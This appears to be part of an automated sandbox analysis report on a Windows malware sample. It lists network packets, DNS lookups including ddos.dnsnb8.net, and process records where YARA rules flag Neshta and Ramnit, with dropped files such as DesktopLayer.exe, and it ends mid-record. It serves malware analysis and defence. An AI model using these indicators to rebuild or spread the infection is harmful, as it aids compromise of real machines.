Nov 19, 2024 09:06:26.237488985 CET	49757	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:26.237778902 CET	49757	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:26.237799883 CET	443	49757	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:26.331155062 CET	49758	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:26.331212044 CET	443	49758	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:26.331288099 CET	49758	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:26.331471920 CET	49758	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:26.331485987 CET	443	49758	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.647399902 CET	49739	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.654866934 CET	49766	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.654915094 CET	443	49766	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.654997110 CET	49766	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.655083895 CET	49738	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.655204058 CET	49767	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.655230999 CET	443	49767	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.655262947 CET	49737	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.655286074 CET	49767	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.655375004 CET	49736	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.655443907 CET	49740	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.655874014 CET	49766	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.655894041 CET	443	49766	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.655901909 CET	49744	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656117916 CET	49768	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656141043 CET	49746	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656153917 CET	443	49768	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.656208992 CET	49768	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656335115 CET	49769	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656363010 CET	443	49769	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.656368971 CET	49745	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656419039 CET	49769	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656645060 CET	49747	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656723976 CET	49748	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.656938076 CET	49751	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657121897 CET	49770	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657145977 CET	443	49770	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.657155991 CET	49752	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657197952 CET	49770	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657473087 CET	49767	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657485962 CET	443	49767	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.657505989 CET	49771	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657505989 CET	49753	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657540083 CET	443	49771	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.657577991 CET	49754	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657636881 CET	49771	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657694101 CET	49755	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.657901049 CET	49768	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.657922029 CET	443	49768	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.658014059 CET	49769	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.658030987 CET	443	49769	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.658175945 CET	49770	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.658185959 CET	443	49770	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.658277988 CET	49771	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:55.658291101 CET	443	49771	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.691369057 CET	443	49739	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.695369959 CET	443	49738	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.699332952 CET	443	49745	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.699335098 CET	443	49737	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.699345112 CET	443	49746	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.699347019 CET	443	49752	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.699347973 CET	443	49744	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.699350119 CET	443	49751	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.699354887 CET	443	49748	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.699358940 CET	443	49747	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:55.699373007 CET	443	49740	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.699371099 CET	443	49755	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.699371099 CET	443	49753	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.699400902 CET	443	49736	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.699403048 CET	443	49754	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:55.722104073 CET	49756	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:55.763330936 CET	443	49756	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:56.239247084 CET	49757	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:56.279340029 CET	443	49757	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:56.331638098 CET	49758	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:56.379336119 CET	443	49758	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:56.691862106 CET	49773	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:56.691896915 CET	443	49773	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:56.692029953 CET	49773	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:56.692733049 CET	49773	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:56.692745924 CET	443	49773	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:57.283116102 CET	49774	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:57.283173084 CET	443	49774	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:57.283241987 CET	49774	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:57.284043074 CET	49774	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:57.284065008 CET	443	49774	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:57.599735022 CET	49775	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:57.599793911 CET	443	49775	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:57.599881887 CET	49775	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:57.600111008 CET	49775	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:57.600130081 CET	443	49775	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.691895962 CET	49723	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.691900015 CET	49719	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.691904068 CET	49715	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.691904068 CET	49718	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:10.691920042 CET	443	49723	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.691926003 CET	443	49719	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.691927910 CET	443	49715	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.691935062 CET	49734	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.691935062 CET	49731	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:10.691937923 CET	443	49718	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:10.691946030 CET	443	49734	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.691948891 CET	49720	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.691958904 CET	49721	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:10.691958904 CET	49732	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:10.691958904 CET	49729	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.691960096 CET	49716	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.691961050 CET	49714	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:10.691963911 CET	49730	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.691965103 CET	443	49731	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:10.691971064 CET	443	49714	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:10.691971064 CET	443	49721	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:10.691979885 CET	443	49716	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.691977024 CET	443	49730	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.691987038 CET	443	49732	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:10.691988945 CET	443	49720	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.691996098 CET	443	49729	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.692003012 CET	49722	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.692003012 CET	49733	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:10.692009926 CET	443	49722	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:10.692018032 CET	443	49733	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:17.268594027 CET	49783	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:17.268647909 CET	443	49783	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:17.268708944 CET	49783	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:17.273446083 CET	49783	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:17.273482084 CET	443	49783	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:18.402254105 CET	49784	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:18.402364016 CET	443	49784	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:18.402451992 CET	49784	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:18.402780056 CET	49784	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:18.402836084 CET	443	49784	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:20.269659042 CET	49785	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:20.269715071 CET	443	49785	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:20.269778013 CET	49785	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:20.270570040 CET	49785	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:20.270582914 CET	443	49785	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:25.658586025 CET	49766	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:25.658833981 CET	49767	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:25.658924103 CET	49768	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:25.658983946 CET	49769	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:25.659102917 CET	49770	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:25.659161091 CET	49771	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:25.699357033 CET	443	49769	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:25.703319073 CET	443	49770	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:25.703334093 CET	443	49768	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:25.703339100 CET	443	49767	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:25.703340054 CET	443	49771	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:25.703345060 CET	443	49766	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:26.705312967 CET	49773	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:26.747335911 CET	443	49773	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:27.299082041 CET	49774	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:27.339340925 CET	443	49774	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:27.614383936 CET	49775	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:27.655339003 CET	443	49775	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706079006 CET	49739	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706100941 CET	443	49739	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706156015 CET	49737	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706162930 CET	443	49737	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706161976 CET	49740	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706161976 CET	49744	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:40.706186056 CET	49753	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706186056 CET	49755	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706191063 CET	443	49740	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706207037 CET	443	49744	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:40.706217051 CET	443	49753	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706211090 CET	49738	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706211090 CET	49736	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706212044 CET	49748	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:40.706228018 CET	49746	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:40.706228018 CET	49751	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706229925 CET	49752	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706229925 CET	49754	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:40.706233025 CET	443	49755	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706229925 CET	49745	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:40.706239939 CET	443	49746	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:40.706229925 CET	49747	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:40.706252098 CET	443	49752	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706258059 CET	443	49751	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706260920 CET	443	49754	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706289053 CET	443	49745	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:40.706296921 CET	443	49738	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706305027 CET	443	49747	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:40.706329107 CET	443	49736	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:40.706351995 CET	443	49748	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:40.768650055 CET	49756	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:40.768666029 CET	443	49756	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:41.284231901 CET	49757	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:41.284250975 CET	443	49757	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:41.393598080 CET	49758	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:41.393635988 CET	443	49758	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:47.283937931 CET	49783	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:47.331336975 CET	443	49783	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:48.415930033 CET	49784	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:48.459412098 CET	443	49784	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:48.737647057 CET	49790	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:48.737705946 CET	443	49790	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:48.737802029 CET	49790	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:48.738023996 CET	49790	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:48.738042116 CET	443	49790	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:50.285413027 CET	49785	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:50.327342987 CET	443	49785	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:51.550064087 CET	49791	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:51.550107002 CET	443	49791	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:51.550203085 CET	49791	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:51.550451994 CET	49791	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:51.550465107 CET	443	49791	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.692022085 CET	49730	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.692023039 CET	49723	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.692028999 CET	49719	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.692028999 CET	49715	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.692047119 CET	443	49730	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.692054033 CET	443	49723	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.692058086 CET	443	49719	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.692063093 CET	443	49715	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.692074060 CET	49734	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.692074060 CET	49716	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.692074060 CET	49731	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:55.692080021 CET	49718	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:55.692086935 CET	443	49734	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.692089081 CET	49714	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:55.692086935 CET	443	49718	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:55.692092896 CET	49721	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:55.692092896 CET	49732	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:07:55.692092896 CET	49729	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.692097902 CET	49720	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.692104101 CET	443	49720	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.692105055 CET	443	49714	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:55.692107916 CET	443	49716	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.692117929 CET	443	49731	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:55.692123890 CET	443	49721	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:55.692126989 CET	443	49732	162.159.61.3	192.168.2.5
Nov 19, 2024 09:07:55.692131042 CET	443	49729	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.707211018 CET	49722	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.707211018 CET	49733	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:55.707242966 CET	443	49722	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:55.707252026 CET	443	49733	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:57.503149986 CET	49794	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:57.503209114 CET	443	49794	172.64.41.3	192.168.2.5
Nov 19, 2024 09:07:57.503309965 CET	49794	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:57.503592968 CET	49794	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:07:57.503607035 CET	443	49794	172.64.41.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 09:05:59.317081928 CET	54167	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:05:59.412637949 CET	53	54167	1.1.1.1	192.168.2.5
Nov 19, 2024 09:06:13.605210066 CET	57498	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:06:13.605429888 CET	53230	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:06:13.606415987 CET	59980	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:06:13.606950045 CET	58430	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:06:13.612049103 CET	53	57498	1.1.1.1	192.168.2.5
Nov 19, 2024 09:06:13.612385035 CET	53	53230	1.1.1.1	192.168.2.5
Nov 19, 2024 09:06:13.613157034 CET	53	59980	1.1.1.1	192.168.2.5
Nov 19, 2024 09:06:13.613805056 CET	53	58430	1.1.1.1	192.168.2.5
Nov 19, 2024 09:06:13.733297110 CET	59611	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:06:13.733360052 CET	58178	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:06:13.740242004 CET	53	59611	1.1.1.1	192.168.2.5
Nov 19, 2024 09:06:13.740300894 CET	53	58178	1.1.1.1	192.168.2.5
Nov 19, 2024 09:07:18.393840075 CET	59115	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:07:18.394035101 CET	65436	53	192.168.2.5	1.1.1.1
Nov 19, 2024 09:07:18.400805950 CET	53	59115	1.1.1.1	192.168.2.5
Nov 19, 2024 09:07:18.401705027 CET	53	65436	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 09:05:59.317081928 CET	192.168.2.5	1.1.1.1	0xa960	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.605210066 CET	192.168.2.5	1.1.1.1	0xb51a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.605429888 CET	192.168.2.5	1.1.1.1	0x7f91	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 09:06:13.606415987 CET	192.168.2.5	1.1.1.1	0x3229	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.606950045 CET	192.168.2.5	1.1.1.1	0xd574	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 09:06:13.733297110 CET	192.168.2.5	1.1.1.1	0xf019	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.733360052 CET	192.168.2.5	1.1.1.1	0x451a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 09:07:18.393840075 CET	192.168.2.5	1.1.1.1	0xd82d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:07:18.394035101 CET	192.168.2.5	1.1.1.1	0x841c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 09:05:59.412637949 CET	1.1.1.1	192.168.2.5	0xa960	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.612049103 CET	1.1.1.1	192.168.2.5	0xb51a	No error (0)	chrome.cloudflare-dns.com	172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.612049103 CET	1.1.1.1	192.168.2.5	0xb51a	No error (0)	chrome.cloudflare-dns.com	162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.612385035 CET	1.1.1.1	192.168.2.5	0x7f91	No error (0)	chrome.cloudflare-dns.com		65	IN (0x0001)	false
Nov 19, 2024 09:06:13.613157034 CET	1.1.1.1	192.168.2.5	0x3229	No error (0)	chrome.cloudflare-dns.com	162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.613157034 CET	1.1.1.1	192.168.2.5	0x3229	No error (0)	chrome.cloudflare-dns.com	172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.613805056 CET	1.1.1.1	192.168.2.5	0xd574	No error (0)	chrome.cloudflare-dns.com		65	IN (0x0001)	false
Nov 19, 2024 09:06:13.740242004 CET	1.1.1.1	192.168.2.5	0xf019	No error (0)	chrome.cloudflare-dns.com	172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.740242004 CET	1.1.1.1	192.168.2.5	0xf019	No error (0)	chrome.cloudflare-dns.com	162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:06:13.740300894 CET	1.1.1.1	192.168.2.5	0x451a	No error (0)	chrome.cloudflare-dns.com		65	IN (0x0001)	false
Nov 19, 2024 09:07:18.400805950 CET	1.1.1.1	192.168.2.5	0xd82d	No error (0)	chrome.cloudflare-dns.com	172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:07:18.400805950 CET	1.1.1.1	192.168.2.5	0xd82d	No error (0)	chrome.cloudflare-dns.com	162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 09:07:18.401705027 CET	1.1.1.1	192.168.2.5	0x841c	No error (0)	chrome.cloudflare-dns.com		65	IN (0x0001)	false

Target ID:	0
Start time:	03:05:57
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe"
Imagebase:	0x400000
File size:	114'688 bytes
MD5 hash:	64956BF404C5ABAD670A958C45ECE564
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: 00000000.00000002.2836381813.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:05:58
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe"
Imagebase:	0x400000
File size:	73'216 bytes
MD5 hash:	118210E9670E09029643A6866859CFF7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ramnit, Description: Yara detected Ramnit, Source: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:05:58
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\uvkTKBif.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\uvkTKBif.exe
Imagebase:	0x780000
File size:	15'872 bytes
MD5 hash:	56B2C3810DBA2E939A8BB9FA36D3CF96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:05:58
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\DesktopLayer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft\DesktopLayer.exe"
Imagebase:	0x400000
File size:	73'216 bytes
MD5 hash:	118210E9670E09029643A6866859CFF7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ramnit, Description: Yara detected Ramnit, Source: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:05:59
Start date:	19/11/2024
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Internet Explorer\iexplore.exe"
Imagebase:	0x7ff7919e0000
File size:	834'512 bytes
MD5 hash:	CFE2E6942AC1B72981B3105E22D3224E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:05:59
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6672 CREDAT:17410 /prefetch:2
Imagebase:	0x5e0000
